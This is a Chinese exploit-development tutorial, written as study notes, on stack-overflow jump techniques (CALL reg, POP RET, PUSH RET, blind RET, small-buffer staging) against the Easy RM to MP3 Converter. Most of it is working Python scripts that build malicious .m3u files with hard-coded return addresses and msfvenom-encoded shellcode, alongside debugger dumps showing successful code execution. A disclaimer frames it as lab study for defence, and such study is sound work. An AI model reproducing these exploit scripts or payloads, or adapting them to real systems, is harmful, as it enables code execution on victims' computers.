Exploit编写教程2:跳转的多种姿势

本文为 Exploit编写教程 的学习笔记,原文请点击这里
本文仅作以防御为目的的技术总结,所有操作均在实验环境下进行,请勿用于非法行为,否则后果自负。
如有侵权烦请告知,我们会立即删除并致歉。谢谢。

0x00 跳转到哪里

上节文章中,讲解了发现漏洞并构建有效 exploit 的基础知识。在使用的例子中, ESP 直接指向栈缓冲区的 Shellcode 开头,并且可以使用 jmp esp 语句来跳转到 Shellcode 。使用 jmp esp 是一个几乎完美的方法,但不是每次都那么容易。本节文章将讨论执行或跳转到 Shellcode 的其他方法,最后谈谈遇到较小的缓冲区如何应对。

有以下方法可以执行 Shellcode :

  • JMP/CALL reg

    找到指向 Shellcode 地址的寄存器,在程序加载的DLL中查找 JMP 或者 CALL 这个寄存器的 OPcode ,把这个 OPcode 的地址放入EIP。这就是上一篇文章中的技术。

  • POP RET

    如果没有寄存器直接指向 Shellcode ,但是在栈上有地址指向 Shellcode ,那么可以通过把一个指向 pop;ret;,或 pop;pop;ret;,或 pop;pop;pop;ret;的指针(取决于 Shellcode 在栈上的位置)放入EIP来把这个值加载到EIP。

  • PUSH RET

    这种方法与 JMP/CALL reg 技术有点相似。如果有寄存器指向 Shellcode ,但是又不能使用 JMP/CALL reg 来跳转到寄存器,那就可以将此寄存器地址入栈,然后执行 ret 。所以要找一个 PUSH reg;ret; 的Opcode。

  • JMP [reg+offset]

    如果寄存器指向包含 Shellcode 的缓冲区,但不指向 Shellcode 的开头,那么可以在加载的DLL中找到 jmp [reg+offset] 指令的Opcode。

  • BLIND RETURN

    RET指令的作用等同于 EIP = POP [ESP] 。即把栈顶指针 ESP 指向地址的内容放入 EIP。利用这一特点可以在可用空间有限的情况下构建有效的漏洞利用程序。

  • SEH

    每个应用程序都有一个由操作系统提供的结构化异常处理(SEH)程序。如果应用程序本身没有异常处理,那就可以覆盖 SEH 的地址,跳转到自己的 Shellcode 。使用 SEH 可以使漏洞利用在 windows 平台上更加可靠,因为覆盖 EIP 将触发 SEH。

可能有多种方法跳转到 Shellcode ,也可能只有一种方法,也可能需要多种技术的组合。一个漏洞也很可能只会引发崩溃,不能利用。

0x01 CALL reg

如果寄存器直接指向 Shellcode 的地址,则可以执行 CALL reg 以直接跳转到 Shellcode 。换句话说,如果ESP直接指向 Shellcode 的第一个字节,那么你可以用 call esp 的地址覆盖 EIP,Shellcode就会被执行。 这适用于所有寄存器,因为 kernel32.dll 包含许多 CALL reg 地址。

假设 ESP 指向 Shellcode:首先,查找包含 call esp 的 Opcode地址,上节文章提到使用 windbg 查看汇编语言的 OPcode 方法,这里不再重复。

请添加图片描述
接下来写漏洞利用脚本,把EIP覆盖成 0x7c8369f0 。从本教程系列第一部分中的 Easy RM to MP3 示例,我们知道,通过在覆盖 EIP 和添加滑板指令,我们可以将 ESP 指向 shellcode 的开头。上节文章也提到了使用 msfvenom 生成有效 Payload 方法。最终的漏洞利用脚本将如下所示:

import pwn

filename = 'call_reg.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x7c8369f0)
shellcode = b"\x90" * 25

shellcode += b"\xdb\xc6\xd9\x74\x24\xf4\x5e\x29\xc9\xba\x5d"
shellcode += b"\x65\x28\xff\xb1\x30\x31\x56\x18\x03\x56\x18"
shellcode += b"\x83\xee\xa1\x87\xdd\x03\xb1\xca\x1e\xfc\x41"
shellcode += b"\xab\x97\x19\x70\xeb\xcc\x6a\x22\xdb\x87\x3f"
shellcode += b"\xce\x90\xca\xab\x45\xd4\xc2\xdc\xee\x53\x35"
shellcode += b"\xd2\xef\xc8\x05\x75\x73\x13\x5a\x55\x4a\xdc"
shellcode += b"\xaf\x94\x8b\x01\x5d\xc4\x44\x4d\xf0\xf9\xe1"
shellcode += b"\x1b\xc9\x72\xb9\x8a\x49\x66\x09\xac\x78\x39"
shellcode += b"\x02\xf7\x5a\xbb\xc7\x83\xd2\xa3\x04\xa9\xad"
shellcode += b"\x58\xfe\x45\x2c\x89\xcf\xa6\x83\xf4\xe0\x54"
shellcode += b"\xdd\x31\xc6\x86\xa8\x4b\x35\x3a\xab\x8f\x44"
shellcode += b"\xe0\x3e\x14\xee\x63\x98\xf0\x0f\xa7\x7f\x72"
shellcode += b"\x03\x0c\x0b\xdc\x07\x93\xd8\x56\x33\x18\xdf"
shellcode += b"\xb8\xb2\x5a\xc4\x1c\x9f\x39\x65\x04\x45\xef"
shellcode += b"\x9a\x56\x26\x50\x3f\x1c\xca\x85\x32\x7f\x80"
shellcode += b"\x58\xc0\x05\xe6\x5b\xda\x05\x56\x34\xeb\x8e"
shellcode += b"\x39\x43\xf4\x44\x7e\xb5\x05\x55\x6a\x22\xbc"
shellcode += b"\x0c\xd7\x2e\x3f\xfb\x1b\x57\xbc\x0e\xe3\xac"
shellcode += b"\xdc\x7a\xe6\xe9\x5a\x96\x9a\x62\x0f\x98\x09"
shellcode += b"\x82\x1a\xfb\xcc\x10\xc6\xfc"

file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

请添加图片描述

PWNED!

0x02 POP RET

之前的例子都是依赖于有寄存器指向 Shellcode,如果没有寄存器指向 Shellcode 呢?

在这种情况下,指向 Shellcode 的地址可能在栈上。通过转储 esp 并查看第一个地址,如果有一个地址指向 Shellcode 或者可控缓冲区,那么就可以使用 POP RET ,从栈上取出地址(每次 pop 取出一个地址)并跳转到 Shellcode 的地址。 POP RET 技术只有在 ESP+offset 能包含 shellcode 的地址时才可用。

POP RET 还有第二种用途:如果能控制 EIP,没有寄存器指向 shellcode ,但是 shellcode 在 ESP+8 的位置。在这种情况下,可以把 pop;pop;ret; 的地址放入 EIP 中,这样就会跳转到 ESP+8 。如果把一个指向 jmp esp 的指针放在 ESP+8 的位置,那么就会执行 jmp esp 指令跳转到此指令后面的 shellcode。

先构建一个测试用例。在覆盖 EIP 之前需要 26079 个字节,到达栈顶需要4个字节,第一个中断,7个 NOP,第二个中断,300个 NOP。假设 Shellcode 从第二个中断处开始。 目标是绕过第一个中断,直接跳到第二个中断,即 ESP+8 处的 Shellcode 。

生成测试文件的脚本如下:

filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
preshellcode = b"xxxx"
shellcode = b'\xcc'         # First break
shellcode += b'\x90' * 7    # 1+7=8, it's 8 bytes
shellcode += b'\xcc'        # Second break
shellcode += b'\x90' * 300  # Real Shellcode

file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()

把生成的测试文件在软件中打开,触发崩溃后调试,查看栈布局:

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000671c
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ??              ???
0:000> d esp
000ffd38  cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90  ................
000ffd48  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd68  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd78  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd88  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d esp+8
000ffd40  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd50  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd60  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd70  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd80  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd90  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdb0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

目标是修改 ESP+8 的值,使其能够跳转到 Shellcode ,并将其放入 EIP 中。 我们将使用 pop ret + jmp esp 来完成此操作。

POP 指令将从栈顶获取 4 个字节。 因此, ESP 将指向 000ffd3c 。 第二次运行 POP 指令后, ESP 将指向 000ffd40 。当执行 RET 指令时, ESP 的值被放入 EIP 中,同时 ESP 将指向 000ffd44 。 因此,如果 000ffd40 处的值包含 jmp esp 指令的地址,那么 EIP 就会执行 jmp esp000ffd44 处的栈空间必须包含 Shellcode 。

首先需要找到 pop;pop;ret; 指令序列,并用指令序列的地址覆盖 EIP ,并且将 ESP+8 设置为 jmp esp 的地址,然后是 shellcode 本身。

这里使用 windbg 查找指令序列的 Opcode:

0:010> a
7c92120e pop eax
pop eax
7c92120f pop ebp
pop ebp
7c921210 ret
ret
7c921211 

0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 58              pop     eax
7c92120f 5d              pop     ebp
7c921210 c3              ret
7c921211 ffcc            dec     esp
7c921213 c3              ret

可见指令序列的 Opcode 是:58 5d c3。也可以使用其它寄存器:

pop寄存器pop eaxpop ebxpop ecxpop edxpop esipop ebp
OpCode585b595a5e5d

在应用程序的 DLL 中查找这个序列,下列前三个 DLL 地址中含有空字节,会使利用难度加大,应避免使用:

ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 00b90000 00c2f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 00b20000 00b27000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01940000 019b1000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 01ac0000 01f8d000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 021e0000 021f0000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll

MSRMCcodec00.dll 中搜索:

0:010> s 01940000 l b1000 58 5d c3
01966a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..
01968da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l
01969d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j...j........
0:010> u 01968da3
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll - 
MSRMCcodec00!Codec_RegTrace+0xae33:
01968da3 58              pop     eax
01968da4 5d              pop     ebp
01968da5 c3              ret
01968da6 8d4d08          lea     ecx,[ebp+8]

现在可以跳转到 ESP+8 了,还需要在此位置放置 jmp esp 的地址。用上述方法寻找这个地址,形成脚本如下:

import pwn

filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01968da3)
jmpesp = pwn.p32(0x01b7f23a)
preshellcode = b"xxxx"

shellcode = b'\xcc'
shellcode += b'\x90' * 7
shellcode += jmpesp
shellcode += b'\xcc'
shellcode += b'\x90' * 500      # Real Shellcode

file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()

崩溃后调试,结果和预期一致,已绕过第一次中断。

eax=909090cc ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=000067e8
eip=000ffd44 esp=000ffd44 ebp=90909090 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0xffd43:
000ffd44 cc              int     3
0:000> d esp
000ffd44  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd54  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd64  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd74  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd84  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd94  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdb4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Real Shellcode 替换成 msfevnom 生成的 Payload:

import pwn

filename = 'pop_ret.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01968da3)
jmpesp = pwn.p32(0x01b7f23a)
preshellcode = b"xxxx"

shellcode = b'\xcc'
shellcode += b'\x90' * 7
shellcode += jmpesp
shellcode += b'\x90' * 50
shellcode += b"\xbb\x79\x51\x81\xe3\xdb\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x30\x31\x5a\x13\x83\xc2\x04"
shellcode += b"\x03\x5a\x76\xb3\x74\x1f\x60\xb1\x77\xe0\x70"
shellcode += b"\xd6\xfe\x05\x41\xd6\x65\x4d\xf1\xe6\xee\x03"
shellcode += b"\xfd\x8d\xa3\xb7\x76\xe3\x6b\xb7\x3f\x4e\x4a"
shellcode += b"\xf6\xc0\xe3\xae\x99\x42\xfe\xe2\x79\x7b\x31"
shellcode += b"\xf7\x78\xbc\x2c\xfa\x29\x15\x3a\xa9\xdd\x12"
shellcode += b"\x76\x72\x55\x68\x96\xf2\x8a\x38\x99\xd3\x1c"
shellcode += b"\x33\xc0\xf3\x9f\x90\x78\xba\x87\xf5\x45\x74"
shellcode += b"\x33\xcd\x32\x87\x95\x1c\xba\x24\xd8\x91\x49"
shellcode += b"\x34\x1c\x15\xb2\x43\x54\x66\x4f\x54\xa3\x15"
shellcode += b"\x8b\xd1\x30\xbd\x58\x41\x9d\x3c\x8c\x14\x56"
shellcode += b"\x32\x79\x52\x30\x56\x7c\xb7\x4a\x62\xf5\x36"
shellcode += b"\x9d\xe3\x4d\x1d\x39\xa8\x16\x3c\x18\x14\xf8"
shellcode += b"\x41\x7a\xf7\xa5\xe7\xf0\x15\xb1\x95\x5a\x73"
shellcode += b"\x44\x2b\xe1\x31\x46\x33\xea\x65\x2f\x02\x61"
shellcode += b"\xea\x28\x9b\xa0\x4f\xc8\x6a\x79\x45\x5d\xd5"
shellcode += b"\xe8\x24\x03\xe6\xc6\x6a\x3a\x65\xe3\x12\xb9"
shellcode += b"\x75\x86\x17\x85\x31\x7a\x65\x96\xd7\x7c\xda"
shellcode += b"\x97\xfd\x1e\xbd\x0b\x9d\xe0"

file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()

请添加图片描述

PWNED!

0x03 PUSH RET

PUSH RET 有点类似于 CALL REG。 如果有寄存器直接指向 shellcode ,但是由于某种原因无法使用 jmp reg 跳转到 shellcode ,那么就可以将该寄存器的地址放在栈顶,然后执行 ret。为了实现这一点,需要在dll中查找 push reg;ret; 序列的地址,并覆盖到EIP。

假设 shellcode 位于 ESP ,就需要找到 push espret 的 Opcode,然后查找地址。

Executable search path is: 
ModLoad: 01940000 019b1000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 019c0000 01e8d000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
(700.6d8): Break instruction exception - code 80000003 (first chance)
eax=7ffd5000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=028bffcc ebp=028bfff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:010> a
7c92120e push esp
push esp
7c92120f ret
ret
7c921210 

0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 54              push    esp
7c92120f c3              ret
0:010> s 01940000 l b1000 54 c3
019557f6  54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0  T..........D$...
019e1d88  54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c  T.....t]S.\$0W.L
0:010> u 019557f6
MSRMCcodec00+0x157f6:
019557f6 54              push    esp
019557f7 c3              ret
019557f8 90              nop

根据找到的地址修改利用脚本如下:

import pwn

filename = 'push_ret.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x019557f6)
preshellcode = b"xxxx"

shellcode = b'\x90' * 25
shellcode += b"\xbb\x79\x51\x81\xe3\xdb\xc0\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x30\x31\x5a\x13\x83\xc2\x04"
shellcode += b"\x03\x5a\x76\xb3\x74\x1f\x60\xb1\x77\xe0\x70"
shellcode += b"\xd6\xfe\x05\x41\xd6\x65\x4d\xf1\xe6\xee\x03"
shellcode += b"\xfd\x8d\xa3\xb7\x76\xe3\x6b\xb7\x3f\x4e\x4a"
shellcode += b"\xf6\xc0\xe3\xae\x99\x42\xfe\xe2\x79\x7b\x31"
shellcode += b"\xf7\x78\xbc\x2c\xfa\x29\x15\x3a\xa9\xdd\x12"
shellcode += b"\x76\x72\x55\x68\x96\xf2\x8a\x38\x99\xd3\x1c"
shellcode += b"\x33\xc0\xf3\x9f\x90\x78\xba\x87\xf5\x45\x74"
shellcode += b"\x33\xcd\x32\x87\x95\x1c\xba\x24\xd8\x91\x49"
shellcode += b"\x34\x1c\x15\xb2\x43\x54\x66\x4f\x54\xa3\x15"
shellcode += b"\x8b\xd1\x30\xbd\x58\x41\x9d\x3c\x8c\x14\x56"
shellcode += b"\x32\x79\x52\x30\x56\x7c\xb7\x4a\x62\xf5\x36"
shellcode += b"\x9d\xe3\x4d\x1d\x39\xa8\x16\x3c\x18\x14\xf8"
shellcode += b"\x41\x7a\xf7\xa5\xe7\xf0\x15\xb1\x95\x5a\x73"
shellcode += b"\x44\x2b\xe1\x31\x46\x33\xea\x65\x2f\x02\x61"
shellcode += b"\xea\x28\x9b\xa0\x4f\xc8\x6a\x79\x45\x5d\xd5"
shellcode += b"\xe8\x24\x03\xe6\xc6\x6a\x3a\x65\xe3\x12\xb9"
shellcode += b"\x75\x86\x17\x85\x31\x7a\x65\x96\xd7\x7c\xda"
shellcode += b"\x97\xfd\x1e\xbd\x0b\x9d\xe0"

file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()

请添加图片描述

PWNED!

0x04 JMP [REG+OFFSET]

为了解决 shellcode 开头位置不能对齐寄存器的另一种技术(示例中为ESP)是尝试查找 jmp [reg+offset] 指令,并用该指令的地址覆盖EIP。 假设需要跳转 8 个字节,我们需要使用 jmp [esp+8] 指令,来跳转到 shellcode 上。

0:010> a
7c92120e jmp [esp+8]
jmp [esp+8]
7c921212 

0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e ff642408        jmp     dword ptr [esp+8]

搜索了所有 DLL 都没有找到这个 Opcode 。虽然现在没办法用实验验证,但这个思路是不错的。

0x05 BLIND RET

此技术基于以下步骤:

  • 使用 ret 指令的地址覆盖 EIP
  • 把 shellcode 的地址硬编码放入 ESP
  • 执行 ret 时,shellcode 的地址出栈,并将放入 EIP 中
  • 跳转到 shellcode 执行

此技术适用于以下情况:

  • 不能将 EIP 直接指向寄存器,因为不能使用 jmpcall 指令
  • 可以至少控制 ESP 的前4个字节

设置 shellcode 的内存地址时,尽量避免在地址中包含空字节,否则无法将 shellcode 加载到 EIP 。

在构建有效负载时,我们创建一个如下所示的缓冲区:

[26079 A’s][address of ret][0x000ffd38][shellcode]

由于 ESP 的地址中包含空字节,所以可以尝试在其它寄存器上找位置。这个技术有很多要求和缺点,没有用实验验证,但它只需要一个 ret 指令。

0x06 处理缓冲区太小的方法

以上讨论的方法有个共同点:使 EIP 跳转到位于缓冲区的 shellcode。但是,如果没有足够大的缓冲区呢?

在之前的实验中,覆盖 EIP 要使用 26079 个字节,到达 ESP 要使用 26079+8 个字节。如果经过测试显示,缓冲区只有50个字节,在这50个字节之后的所有内容都不可用,怎么办? 因此,我们需要找到一种新方法,或许可以使用触发实际溢出的 26079 字节。

首先,要在内存中找到这 26079 个字节。如果能找到这些字节,然后发现有另一个寄存器指向这些字节,那么将 shellcode 放在那里会很容易。

通过对 Easy RM to MP3 进行测试,发现 26079 字节的部分内容在 ESP 转储中可见:

filename = 'small_buffer.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
preshellcode = b"x" * 54
nop = b'\x90' * 32

file = open(filename, "wb")
file.write(junk + eip + preshellcode + nop)
file.close()
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=00006639
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ??              ???
0:000> d esp
000ffd38  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd48  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd58  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd68  78 78 90 90 90 90 90 90-90 90 90 90 90 90 90 90  xx..............
000ffd78  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd88  90 90 00 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
000ffd98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffda8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ffdb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdc8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdd8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

可以在 ESP 转储中看到有 50 个 x,假设这是唯一可用的 shellcode 空间。 在栈中可以从地址 000ffd8b 开始找到 A。但是其他寄存器中没有 x 或 A。

所以可以先跳转到 ESP 来执行一些代码,但是只有 50 个字节可以花在 shellcode 上。继续转储 ESP 的内容时,会发现一个装满了A的巨大的缓冲区。现在的思路是把 shellcode 放在A中,使用 x 跳转到 A。为了实现这一目标,我们需要做几件事。

  • 缓冲区内 26079 个A的位置现在是 ESP 的一部分,位于 000ffd8b
  • 从 x 跳到 A 的代码,此代码不能大于 50 个字节

通过使用 metasploit 的模式字符串工具生成 1000 个字符,方法在上节文章提到过。

filename = 'small_buffer.m3u'
pattern = b"Aa0Aa1Aa2Aa3Aa4...Bg7Bg8Bg9Bh0Bh1Bh2B"
junk = b'\x41' * 25079
eip = b"BBBB"
preshellcode = b"x" * 54
nop = b'\x90' * 32

file = open(filename, "wb")
file.write(pattern + junk + eip + preshellcode + nop)
file.close()
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=00006639
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ??              ???
0:000> d esp
000ffd38  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd48  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd58  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd68  78 78 90 90 90 90 90 90-90 90 90 90 90 90 90 90  xx..............
000ffd78  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd88  90 90 00 39 41 63 30 41-63 31 41 63 32 41 63 33  ...9Ac0Ac1Ac2Ac3
000ffd98  41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41  Ac4Ac5Ac6Ac7Ac8A
000ffda8  63 39 41 64 30 41 64 31-41 64 32 41 64 33 41 64  c9Ad0Ad1Ad2Ad3Ad
┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 1000 -q 9Ac0
[*] Exact match at offset 59

因此,在构造文件时可以这样:[59 个A][shellcode][用 A 填充其余部分]

或者有更稳妥的选择:[50 个A][50 个NOP][shellcode][用 A 填充其余部分],加入滑板指令后会有更大的容错性。

filename = 'small_buffer.m3u'
buffersize = 26079

junk = b'\x41' * 50
nop1 = b'\x90' * 50
shellcode = b'\xcc'
padding = b'\x41' * (buffersize - 50 - 50 - len(shellcode))

eip = b"BBBB"
preshellcode = b"x" * 54
nop2 = b'\x90' * 32

file = open(filename, "wb")
file.write(junk + nop1 + shellcode + padding + eip + preshellcode + nop2)
file.close()

在调试器中查看内存,发现 NOP 指令从 000ffd8b 处开始,在 000ffdb4 处跟着 shellcode (0xcc),后面又跟着 A,看起来正常。

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=00006639
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ??              ???
0:000> d esp
000ffd38  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd48  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd58  78 78 78 78 78 78 78 78-78 78 78 78 78 78 78 78  xxxxxxxxxxxxxxxx
000ffd68  78 78 90 90 90 90 90 90-90 90 90 90 90 90 90 90  xx..............
000ffd78  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd88  90 90 00 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 cc 41 41 41  .............AAA

接下来是构建指令跳转到 ESP+7c ,这个指令可以精准跳到 shellcode 处,不过也可以少跳一些,前面还有滑板指令,所以这里选择跳到 ESP+6c 处。汇编代码如下:

add esp,3e
add esp,2e
jmp esp

查看Opcode:

0:011> a
7c92120e add esp,3e
add esp,3e
7c921211 add esp,2e
add esp,2e
7c921214 jmp esp
jmp esp
7c921216 

0:011> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 83c43e          add     esp,3Eh
7c921211 83c42e          add     esp,2Eh
7c921214 ffe4            jmp     esp

修改脚本如下:

filename = 'small_buffer.m3u'
buffersize = 26079

junk = b'\x41' * 50
nop1 = b'\x90' * 50
shellcode = b'\xcc'
padding = b'\x41' * (buffersize - 50 - 50 - len(shellcode))

eip = b"BBBB"
preshellcode = b"x" * 4
jumpcode = b"\x83\xc4\x3e\x83\xc4\x2e\xff\xe4"
nop2 = b'\x90' * 16

file = open(filename, "wb")
file.write(junk + nop1 + shellcode + padding + eip + preshellcode + jumpcode + nop2)
file.close()

跳转代码在 ESP 处,一切正常。

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000065ff
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0x42424241:
42424242 ??              ???
0:000> d esp
000ffd38  83 c4 3e 83 c4 3e ff e4-90 90 90 90 90 90 90 90  ..>..>..........
000ffd48  90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41  .........AAAAAAA
000ffd58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd68  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd78  41 41 41 41 41 41 41 41-41 41 90 90 90 90 90 90  AAAAAAAAAA......
000ffd88  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 cc 41 41 41  .............AAA

接下来把 EIP 覆盖为 jmp esp 的地址 0x01b7f23a

import pwn

filename = 'small_buffer.m3u'
buffersize = 26079

junk = b'\x41' * 50
nop1 = b'\x90' * 50
shellcode = b'\xcc'
padding = b'\x41' * (buffersize - 50 - 50 - len(shellcode))

eip = pwn.p32(0x01b7f23a)
preshellcode = b"x" * 4
jumpcode = b"\x83\xc4\x3e\x83\xc4\x2e\xff\xe4"
nop2 = b'\x90' * 16

file = open(filename, "wb")
file.write(junk + nop1 + shellcode + padding + eip + preshellcode + jumpcode + nop2)
file.close()

程序跳转到 ESP,接下来将会沿着滑板指令运行到 shellcode,一切正常。

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000065ff
